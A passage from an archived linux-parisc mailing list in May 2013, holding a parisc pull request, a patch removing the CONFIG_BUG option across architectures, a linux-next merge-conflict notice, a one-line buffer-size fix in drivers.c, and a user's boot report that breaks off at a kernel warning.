The following changes since commit 17fdfd0851617b6c18c0913364caf2a54171ce85:

  Merge tag 'trace-fixes-v3.10-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace (2013-05-24 10:46:55 -0700)

are available in the git repository at:


  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-for-3.10

for you to fetch changes up to d96b51ec14650b490ab98e738bcc02309396e5bc:

  parisc: fix irq stack on UP and SMP (2013-05-24 23:29:01 +0200)

----------------------------------------------------------------
Helge Deller (6):
      MPILIB: disable usage of floating point registers on parisc
      parisc: add rp5470 entry to machine database
      parisc: use PAGE_SHIFT instead of hardcoded value 12 in pacache.S
      parisc: add additional parisc git tree to MAINTAINERS file
      parisc: show number of FPE and unaligned access handler calls in /proc/interrupts
      parisc: fix irq stack on UP and SMP

John David Anglin (1):
      parisc: make interrupt and interruption stack allocation reentrant

Peter Huewe (1):
      parisc/superio: Use module_pci_driver to register driver

 MAINTAINERS                         |  1 +
 arch/parisc/include/asm/assembly.h  |  1 -
 arch/parisc/include/asm/hardirq.h   |  7 ++----
 arch/parisc/include/asm/processor.h | 21 ----------------
 arch/parisc/kernel/entry.S          | 19 +++++++-------
 arch/parisc/kernel/hardware.c       |  1 +
 arch/parisc/kernel/irq.c            | 49 +++++++++++++++++++++++++------------
 arch/parisc/kernel/pacache.S        | 12 ++++-----
 arch/parisc/kernel/traps.c          |  1 +
 arch/parisc/kernel/unaligned.c      |  3 +++
 drivers/parisc/superio.c            | 13 +---------
 lib/mpi/longlong.h                  |  5 ++--
 12 files changed, 62 insertions(+), 71 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: [PATCH v2] arch: configuration issue, random return value when disable
 'CONFIG_BUG'
Date: Sun, 26 May 2013 12:43:22 +0800
Lines: 267
Approved: news@gmane.org
Message-ID: <51A192EA.4010607@asianux.com>
References: <519DCBEF.3090208@asianux.com> <201305231259.43750.arnd@arndb.de>
 <20130523112401.GO18614@n2100.arm.linux.org.uk>
 <201305231409.02359.arnd@arndb.de>
 <20130523125033.GP18614@n2100.arm.linux.org.uk>
 <CAMuHMdUzcBuDupe4Fa6XieziGPMpPKC_k8X8gUUmDvLJ+Fe=Hg@mail.gmail.com>
 <519ECCCF.8090909@asianux.com> <519EE9D6.9010707@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369543493 20257 80.91.229.3 (26 May 2013 04:44:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 May 2013 04:44:53 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?UTF-8?B?SMOldmFyZCBTa2lubmVtb2Vu?= <hskinnemoen@gmail.com>,
 Serge Hallyn <serge.hallyn@canonical.com>, Mike Frysinger <vapier@gentoo.org>,
 uml-devel <use
To: Geert Uytterhoeven <geert@linux-m68k.org>, 
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 Arnd Bergmann <arnd@arndb.de>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Sun May 26 06:44:46 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UgSp2-0002Ab-Sv
	for glppe-linuxppc-embedded-2@m.gmane.org; Sun, 26 May 2013 06:44:45 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id A39F32C0327
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Sun, 26 May 2013 14:44:43 +1000 (EST)
Original-Received: from intranet.asianux.com (intranet.asianux.com [58.214.24.6])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id 3DA312C008E
 for <linuxppc-dev@lists.ozlabs.org>; Sun, 26 May 2013 14:44:22 +1000 (EST)
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
 id 5483018402BC; Sun, 26 May 2013 12:44:14 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
 RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by intranet.asianux.com (Postfix) with ESMTP id 59B8D1840257;
 Sun, 26 May 2013 12:44:12 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
 rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <519EE9D6.9010707@asianux.com>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59554 gmane.linux.ports.sh.devel:23246 gmane.linux.kernel.cross-arch:18057 gmane.linux.uml.devel:13939 gmane.linux.uml.user:14494 gmane.linux.hardware.blackfin.kernel.devel:7110 gmane.linux.ports.arm.kernel:239041 gmane.linux.ports.parisc:5078 gmane.linux.kernel:1496722 gmane.linux.ports.hexagon:596
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59554>


If user disable 'CONFIG_BUG' in menuconfig, many areas not only will
report compiling warnings, but also may return a random value from the
function when BUG().

In fact, most of architectures need always let 'CONFIG_BUG' enabled, so
'#ifdef CONFIG_BUG' is already not 'generic' enough in "include/asm-
generic/".

Also kernel has already provided the 'generic' implementation in
"include/asm-generic" when 'CONFIG_BUG' enabled. Even if we disable
'CONFIG_BUG', we also shall have to implement the BUG() in "include/asm-
generic", just like when 'CONFIG_BUG' enabled (at least, it is not the
minimal size implementation).

So need remove 'CONFIG_BUG', and let it always enabled everywhere, then
fix this issue.

The architectures which need their own architecture specific features
(e.g. minimal size implementation), can customize their own BUG() and
__WARN_TAINT() to give a better fix (e.g. use one inline asm code, then
followed by 'unreachable' function, or another more better fix ways).


Signed-off-by: Chen Gang <gang.chen@asianux.com>
---
 arch/arm/Kconfig          |    1 -
 arch/avr32/Kconfig        |    1 -
 arch/blackfin/Kconfig     |    1 -
 arch/h8300/Kconfig        |    1 -
 arch/hexagon/Kconfig      |    1 -
 arch/parisc/Kconfig       |    2 --
 arch/powerpc/Kconfig      |    1 -
 arch/s390/Kconfig         |    2 +-
 arch/sh/Kconfig           |    2 +-
 arch/um/Kconfig.common    |    1 -
 arch/x86/Kconfig          |    1 -
 include/asm-generic/bug.h |   29 -----------------------------
 init/Kconfig              |   10 ----------
 lib/Kconfig.debug         |    2 +-
 14 files changed, 3 insertions(+), 52 deletions(-)

diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index a7fc5ea..ea4a146 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -265,7 +265,6 @@ config PHYS_OFFSET
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 
 source "init/Kconfig"
 
diff --git a/arch/avr32/Kconfig b/arch/avr32/Kconfig
index bdc3558..7c9005a 100644
--- a/arch/avr32/Kconfig
+++ b/arch/avr32/Kconfig
@@ -55,7 +55,6 @@ config GENERIC_CALIBRATE_DELAY
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 
 source "init/Kconfig"
 
diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
index a117652..637dc42 100644
--- a/arch/blackfin/Kconfig
+++ b/arch/blackfin/Kconfig
@@ -47,7 +47,6 @@ config GENERIC_CSUM
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 
 config ZONE_DMA
 	def_bool y
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 303e4f9..88848da 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -56,7 +56,6 @@ config GENERIC_CALIBRATE_DELAY
 
 config GENERIC_BUG
         bool
-        depends on BUG
 
 config TIME_LOW_RES
 	bool
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 33a9792..f50cc8f 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -84,7 +84,6 @@ config STACKTRACE_SUPPORT
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 
 menu "Machine selection"
 
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 6507dab..5de1f8c 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -10,7 +10,6 @@ config PARISC
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
-	select BUG
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
 	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
@@ -62,7 +61,6 @@ config ARCH_HAS_ILOG2_U64
 config GENERIC_BUG
 	bool
 	default y
-	depends on BUG
 
 config GENERIC_HWEIGHT
 	bool
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index c33e3ad..34f4ca9 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -187,7 +187,6 @@ config AUDIT_ARCH
 config GENERIC_BUG
 	bool
 	default y
-	depends on BUG
 
 config SYS_SUPPORTS_APM_EMULATION
 	default y if PMAC_APM_EMU
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index da183c5..5d7b3db 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -29,7 +29,7 @@ config GENERIC_HWEIGHT
 	def_bool y
 
 config GENERIC_BUG
-	def_bool y if BUG
+	def_bool y
 
 config GENERIC_BUG_RELATIVE_POINTERS
 	def_bool y
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 8c868cf..d555e7f 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -84,7 +84,7 @@ config RWSEM_XCHGADD_ALGORITHM
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG && SUPERH32
+	depends on SUPERH32
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/um/Kconfig.common b/arch/um/Kconfig.common
index bceee66..7aae42a 100644
--- a/arch/um/Kconfig.common
+++ b/arch/um/Kconfig.common
@@ -53,7 +53,6 @@ config GENERIC_CALIBRATE_DELAY
 config GENERIC_BUG
 	bool
 	default y
-	depends on BUG
 
 config HZ
 	int
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 723e42e..a36e1b4 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -166,7 +166,6 @@ config GENERIC_ISA_DMA
 
 config GENERIC_BUG
 	def_bool y
-	depends on BUG
 	select GENERIC_BUG_RELATIVE_POINTERS if X86_64
 
 config GENERIC_BUG_RELATIVE_POINTERS
diff --git a/include/asm-generic/bug.h b/include/asm-generic/bug.h
index 7d10f96..5d50903 100644
--- a/include/asm-generic/bug.h
+++ b/include/asm-generic/bug.h
@@ -12,8 +12,6 @@
 #ifndef __ASSEMBLY__
 #include <linux/kernel.h>
 
-#ifdef CONFIG_BUG
-
 #ifdef CONFIG_GENERIC_BUG
 struct bug_entry {
 #ifndef CONFIG_GENERIC_BUG_RELATIVE_POINTERS
@@ -106,33 +104,6 @@ extern void warn_slowpath_null(const char *file, const int line);
 	unlikely(__ret_warn_on);					\
 })
 
-#else /* !CONFIG_BUG */
-#ifndef HAVE_ARCH_BUG
-#define BUG() do {} while(0)
-#endif
-
-#ifndef HAVE_ARCH_BUG_ON
-#define BUG_ON(condition) do { if (condition) ; } while(0)
-#endif
-
-#ifndef HAVE_ARCH_WARN_ON
-#define WARN_ON(condition) ({						\
-	int __ret_warn_on = !!(condition);				\
-	unlikely(__ret_warn_on);					\
-})
-#endif
-
-#ifndef WARN
-#define WARN(condition, format...) ({					\
-	int __ret_warn_on = !!(condition);				\
-	unlikely(__ret_warn_on);					\
-})
-#endif
-
-#define WARN_TAINT(condition, taint, format...) WARN_ON(condition)
-
-#endif
-
 #define WARN_ON_ONCE(condition)	({				\
 	static bool __section(.data.unlikely) __warned;		\
 	int __ret_warn_once = !!(condition);			\
diff --git a/init/Kconfig b/init/Kconfig
index 7fb26a6..bc1dd49 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1360,16 +1360,6 @@ config PRINTK
 	  very difficult to diagnose system problems, saying N here is
 	  strongly discouraged.
 
-config BUG
-	bool "BUG() support" if EXPERT
-	default y
-	help
-          Disabling this option eliminates support for BUG and WARN, reducing
-          the size of your kernel image and potentially quietly ignoring
-          numerous fatal conditions. You should only consider disabling this
-          option for embedded systems with no facilities for reporting errors.
-          Just say Y.
-
 config ELF_CORE
 	depends on COREDUMP
 	default y
diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index 566cf2b..54b3251 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -700,7 +700,7 @@ config HAVE_DEBUG_BUGVERBOSE
 
 config DEBUG_BUGVERBOSE
 	bool "Verbose BUG() reporting (adds 70K)" if DEBUG_KERNEL && EXPERT
-	depends on BUG && (GENERIC_BUG || HAVE_DEBUG_BUGVERBOSE)
+	depends on GENERIC_BUG || HAVE_DEBUG_BUGVERBOSE
 	default y
 	help
 	  Say Y here to make BUG() panics output the file name and line number
-- 
1.7.7.6

From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel
Subject: linux-next: manual merge of the parisc-hd tree with Linus' tree
Date: Mon, 27 May 2013 10:51:35 +1000
Lines: 47
Approved: news@gmane.org
Message-ID: <20130527105135.cac99b7d9930fbb2f03cc9e6@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA256";
 boundary="Signature=_Mon__27_May_2013_10_51_35_+1000_W7FyexJiBct4XBBG"
X-Trace: ger.gmane.org 1369615907 2931 80.91.229.3 (27 May 2013 00:51:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 May 2013 00:51:47 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 27 02:51:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uglf8-0000mT-F3
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 May 2013 02:51:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755621Ab3E0Avp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 May 2013 20:51:45 -0400
Original-Received: from haggis.pcug.org.au ([203.10.76.10]:39776 "EHLO
	members.tip.net.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755619Ab3E0Avo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 May 2013 20:51:44 -0400
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by members.tip.net.au (Postfix) with ESMTPSA id BA16D164126;
	Mon, 27 May 2013 10:51:40 +1000 (EST)
X-Mailer: Sylpheed 3.3.0 (GTK+ 2.24.18; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5079 gmane.linux.kernel.next:27561 gmane.linux.kernel:1496939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5079>

--Signature=_Mon__27_May_2013_10_51_35_+1000_W7FyexJiBct4XBBG
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi all,

Today's linux-next merge of the parisc-hd tree got conflicts in
arch/parisc/include/asm/processor.h and arch/parisc/kernel/irq.c between
commit d96b51ec1465 ("parisc: fix irq stack on UP and SMP") from Linus'
tree and commit 1c92ce8487f6 ("parisc: use arch_spinlock_t instead of
raw_spinlock_t in irqstacks") from the parisc-hd tree.

I just used the version of both files from Linus' tree and can carry the
fix as necessary (no action is required).

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

--Signature=_Mon__27_May_2013_10_51_35_+1000_W7FyexJiBct4XBBG
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.20 (GNU/Linux)

iQIcBAEBCAAGBQJRoq4bAAoJEECxmPOUX5FELG4P/RukX9IpW+tSj9jK3PX4OAne
9brkGUKGPG0Rw7MjfTdbLYF0vAWc7T/ir4Mk5coG0SCZ2g81FT005mhcV9i1ytyq
CzxLfaL81VAZ3JbwDxc/+Oir4LmnUFhbBFPog9WJdzEz3hLnY7irphyWWJEvVRqi
gSk20gk2t3NqVYel88dmdxyXbqI6wWUZcK9IjY7S5qRbLaTaQl+zKXChF0stX3z3
V1LNnEqCKjWxUWXKf/1KlOWzAv+LgVkynIr5vCNrTAv6Lr+bU1zD5OssCeNAPYy0
ph++rFlrd5O2IYb/BSiB/ad8QWVzPKdsQtmwgMMsTz/hYKS7ksWDA1bItAktk1vO
5EihbxRW9DLDffj8TgCYE0sOF4IPZPIhhWkRnE+y3T6AAi2MJiUKkMlpVWWoTKXH
KYlIUYI7BLdnfOz8UNE6SAe/2CLtvHePTI0khEbXAg8/RmW3AJdigpKsqKRS3w13
LlnUvbZkAWweueriWg+zxXYX3cm24Fk6sRbn21HZ+IuOQzlk22npbj24ASqZOzuT
BDxCTa0GQN5t8Pk+sJSwVfMkS06T6yvuS0e9NTQilGhn7M+JBGAoScWR4RD5QY4e
1XMS6t619D8ASJ+sdSbLyEF84+dNyJMBTiPd8ssgVHSiVPxI2ma+ExIr0GFxI6t1
DaGs1c/atoNgLAtW2gnB
=hYgt
-----END PGP SIGNATURE-----

--Signature=_Mon__27_May_2013_10_51_35_+1000_W7FyexJiBct4XBBG--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH] arch: parisc: kernel: memory overflow, 'name' length is too
 short for using
Date: Mon, 27 May 2013 12:57:09 +0800
Lines: 38
Approved: news@gmane.org
Message-ID: <51A2E7A5.5000904@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369630684 25649 80.91.229.3 (27 May 2013 04:58:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 May 2013 04:58:04 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 27 06:58:03 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UgpVS-0000eP-Pe
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 May 2013 06:58:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751428Ab3E0E6B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 May 2013 00:58:01 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:7996 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750841Ab3E0E6A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 May 2013 00:58:00 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 37F9A18402F5; Mon, 27 May 2013 12:57:59 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id D463C18402D7;
	Mon, 27 May 2013 12:57:58 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5080 gmane.linux.kernel:1497003 gmane.linux.kernel.cross-arch:18092
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5080>


'path.bc[i]' can be asigned by PCI_SLOT() which can '> 10', so sizeof(6
* "%u:" + "%u" + '\0') may be 21.

Since 'name' length is 20, it may be memory overflow.

And 'path.bc[i]' is 'unsigned char' for printing, we can be sure the
max length of 'name' must be less than 28.

So simplify thinking, we can use 28 instead of 20 directly, and do not
think of whether 'patchc.bc[i]' can '> 100'.


Signed-off-by: Chen Gang <gang.chen@asianux.com>
---
 arch/parisc/kernel/drivers.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index 5709c5e..14285ca 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -394,7 +394,7 @@ EXPORT_SYMBOL(print_pci_hwpath);
 static void setup_bus_id(struct parisc_device *padev)
 {
 	struct hardware_path path;
-	char name[20];
+	char name[28];
 	char *output = name;
 	int i;
 
-- 
1.7.7.6
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Mon, 27 May 2013 10:15:48 +0300 (EEST)
Lines: 59
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1305271012160.1179@math.ut.ee>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <51929EAB.3020503@gmx.de> <alpine.SOC.1.00.1305150957460.29631@math.ut.ee> <5193D0F5.4060706@gmx.de> <51968FFB.6040707@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1369638955 32604 80.91.229.3 (27 May 2013 07:15:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 May 2013 07:15:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 27 09:15:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ugrer-0007xo-Lb
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 May 2013 09:15:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756659Ab3E0HPx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 May 2013 03:15:53 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:36361 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753852Ab3E0HPw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 May 2013 03:15:52 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 54E1473D6CC;
	Mon, 27 May 2013 10:15:48 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 60756427978; Mon, 27 May 2013 10:15:48 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 51F73427977;
	Mon, 27 May 2013 10:15:48 +0300 (EEST)
In-Reply-To: <51968FFB.6040707@gmx.de>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5081
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5081>


I saw that 3.10-rc3 is out with a new bunch of parisc fixes. Tried it on 
my RP3440 and it works - thank you!

Only one new minor problem has appeared: a warning from cpu_idle during 
bootup. Seems harmless but not good. It does not reappear under load - 
I did Gentoo upgrade with
emerge --sync && emerge -u -N world && emerge --depclean
and no further problems.

[    3.132000] sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 21
[    3.136000] sym0: PA-RISC Firmware, ID 7, Fast-80, LVD, parity checking
[    3.168000] sym0: SCSI BUS has been reset.
[    3.176000] scsi0 : sym-2.2.3
[    3.176000] ------------[ cut here ]------------
